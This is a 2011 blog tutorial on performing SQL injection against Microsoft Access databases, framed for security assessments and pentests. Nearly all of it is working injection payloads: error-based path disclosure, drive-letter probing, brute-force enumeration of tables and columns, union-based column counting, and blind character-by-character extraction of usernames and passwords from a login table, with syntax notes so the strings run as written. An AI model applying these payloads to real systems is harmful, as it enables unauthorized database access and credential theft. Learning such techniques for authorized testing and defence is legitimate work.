Saturday, October 8, 2011


In today’s write-up I will show you to perform SQL injection against a MS ACCESS database. I am not a fan of Access but it is a method that you should be aware of in case you come across this in your security assessments or pentests. I am not a pro but will share my methods based on my experiences, here goes…

Confirm it is not a false positive…
    Integer let us start injecting :) union select 1 from random.randomtable
This will cause the Access database to throw an error which will tell you the default path for install

Now we can start by checking the existence of any other drive paths, like so: and 0=(select count(*) from N:\.a)

NOTE: you need to enumerate the "N" for the drive letters you wish to check for existence. You need to read the errors carefully to determine drive type and if it is there or not. Here is quick guide on how to interpret:
        If it says not a valid path then it doesn’t exist

If it says can’t find file then the drive exists and is data drive

If it says disk or network error then it is a drive for memory or cd or something. Repeat until you think you found all drives. Possible options would consist of: a-z

As MS-ACCESS has no information schema so you basically have to bruteforce your way to town as if it was MySQL <=4. The common syntax structure looks like this: and 0<=(select count(*) from [N]) and 1=1
NOTE: You would enumerate the "N" value for any table you wish to check. If it returns true then the table exists, otherwise keep going and on to the next. If you can automate this part then I highly suggest it (try SQLMAP if you need a good tool). and 0<=(select count(*) from [admin]) and 1=1
            FALSE: can’t find input table or query "admin" and 0<=(select count(*) from [tbllogin]) and 1=1
TRUE: Page refreshes like normal, indicating table exists in the database (which is actually a file in Access’ case: filedb.mdb)
   TABLE: tbllogin

Once/If you find tables you then can check the existence of columns in the same manner, just change the syntax to look like this: and 0<=(select count([N]) from [TableName]) and 1=1

NOTE: You would now place the known TableName found above (tbllogin) and then enumerate possible columns in place of the "N" value above. It will work the same as the tables above in that true will refresh the page with no errors and false will error out. Just keep enumerating until you have what you need and then we can try to extract from it. In this example, I have found:
COLUMNS: id, username, and password.

We now have to work a bit backwards, compared to other methods, as now we need to determine the column count for our table and then we can extract(whereas normally we would find the column count first). If we can’t determine then we can extract using blind methods as well.

To determine the column count for a given table you can try this syntax (we use NULL as opposed to numbers to prevent any errors outputting). You just keep inserting them as if you were using ORDER BY to find where the error is thrown indicating no more columns: union all select null from [TableName] union all select null,null from [TableName] union all select null,null,null from [TableName]

If found we can check for a vulnerable column to use by trying to insert some text on the output where the vulnerable column is, just like normal column counting with MySQL injection: union all select %2bchr(72)%2bchr(82),null,null,null,null,null,null,null,null from [tbllogin] union all select null,%2bchr(72)%2bchr(82),null,null,null,null,null,null,null from [tbllogin] union all select null,null,%2bchr(72)%2bchr(82),null,null,null,null,null,null from [tbllogin]
NOTE: %2bchr(72)%2bchr(82) = +H+R. Just keep moving the char value of text column position through the column spaces and checking to see if it is visible on the screen. If it is you can use this column to extract data from.

If that doesn’t work, we use blind method to extract using this syntax with your details filled in to extract (in my experience this is the method used the majority of the time). You will need to run true false test to determine amount of rows, just test the numerical value at the end of the statement and interpret the results: and Len((select Count(*) from [TableName]))=<insert-numerical-value>
You can run this to find the number of entries in TableName and asc(mid((Select Count(*) from [TableName]),1,1)=<insert-numerical-value>
You can run this to find the length of the item we will be extracting and Len((select top 1 [ColumnName] from (select top 1 * from (select top 1 * from [TableName] order by 1) t order by 1 desc)t))=<insert-number-value>


Once you know you don’t have to waste so much time with this part....pull each letter one by one and convert char value to see it in clear plain text...
You need to use "<",">",and "=" for the true false comparison part, then insert char value.
You can run this inputting your ColumnName and TableName in appropriate spots. Insert your char value to test at the end of the statement. You can use the "N" to enumerate each char position of your value you are extracting (remember to take note of the length you find above so you don’t go over and waste time ;)) and asc(mid((select top 1 [ColumnName] from (select top 1 * from (select top 1 * from [TableName] order by 1) t order by 1 desc)t),N,1))=<insert-char-value-here>

NOTE: If for example you had multiple columns, this process would need to be followed for each column in the table and then put together by you to interpret the full row set of data extracted (i.e. do this once to pull the ID number, again to pull the username, and again to pull the password). It can be time consuming to extract so I suggest a good tool to help speed things up if you can find one (I like to use SQLMAP personally or you could work on custom Burpsuite rule set to address all the enumeration steps but that is beyond this scope)

This concludes my write up of how to gain access through MS-ACCESS. I hope you have enjoyed this and find it useful in your endeavors. There are other methods which can be used and leveraged but this is the best general guide I could put together for you. I will work to update it as time permits with a few other tips and tricks to aid you in your injections, but this is it for now. Please check back often to see what else has been released or updated. Until next time, Enjoy!

SPECIAL NOTE: all occurrences of "[" and "]" need to remain in the statements to work properly, this is how Access works. This means you should only change the actual value where it is "TableName", "ColumnName", or "N" and everything else should [remain].

If your interested in any of my other SQL Injection tutorials here are the links:

1 comment: